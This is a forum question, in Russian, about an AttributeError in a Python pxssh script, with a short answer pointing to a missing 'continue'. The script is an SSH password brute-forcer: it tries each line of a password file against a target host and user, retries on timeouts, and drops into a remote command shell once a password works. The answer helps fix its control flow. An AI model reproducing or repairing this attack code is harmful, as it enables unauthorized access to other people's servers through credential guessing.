AttributeError: у объекта 'NoneType' нет атрибута 'sendline', но модуль содержит атрибут, протестировавший его другим способом?

После импорта соответствующих библиотек и создания функции подключения с использованием библиотеки pxssh я создал свою основную функцию, которая принимает аргументы "host", "user" и имя файла, которое я даю.

Программа успешно читает файл и анализирует каждую строку пароля в методе s.login и возвращает сообщение "success" после нахождения пароля. Я предполагаю, что это означает, что было установлено соединение с сервером ssh. Но с точки зрения 'con = connect' я не получаю оператор печати, который говорит, что [SSH подключен...], кроме того, что я получаю приглашение командной строки после того, как он успешно находит пароль, но после ввода команды я получаю ошибку атрибута против con.sendline -

>ls -l
Traceback (most recent call last):
  File "sshBruteFpw.py", line 60, in <module>
    main()
  File "sshBruteFpw.py", line 52, in main
    con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root@kali:~/Desktop/scripts# 

Я в недоумении, почему con.sendline не имеет атрибута 'sendline', когда я знаю, что библиотека содержит этот метод. Я проверил этот метод sendline другими способами, и он будет работать.

Любая помощь по этому вопросу высоко ценится. Заранее спасибо...

    import pxssh
    import argparse 
    import time 
    import sys 
    import getpass

    def connect(host, user, password):
    Fails = 0 

    try: 

        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] password found! ' + password
        return s 
    except Exception, e:
        if Fails > 5:
            print '[-] Too many Socket Timeouts!!' 
            sys.exit(1) 
        elif 'read_nonblocking' in str(e): 
            Fails += 1
            time.sleep(5)
            return connect(host, user, password)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            return connect(host, user, password)
        return None 


   def main(): 
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='Specify Target Host')
    parser.add_argument('user', help='Specify Target User')
    parser.add_argument('file', help='Specify Password File')
    args = parser.parse_args()

    if args.host and args.user and args.file: #if these args are all true 
        with open(args.file, 'r') as infile:  #open with and read only the specified file as 'infile'  
            for line in infile: 
                password = line.strip('\r\n')#read and strip each line
                print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
                con = connect(args.host, args.user, password)
            if con: #if we get a connection 
                print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
            command = raw_input(">") 
            while command != 'q' and command != 'Q': 
                con.sendline(command)
                con.prompt()
                print con.before
                command = raw_input(">")
    else: 
            print parser.usage
            sys.exit(1)
if __name__ == '__main__':
    main()

1 ответ

Если отступы не очень отключены, вы переходите в эту ветвь кода, даже если у вас нет con настроить:

        if con: #if we get a connection 
            print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
        command = raw_input(">") 
        while command != 'q' and command != 'Q': 
            con.sendline(command)

после второй строки должно быть continueЕсли соединение не удалось, не так ли?

Другие вопросы по тегам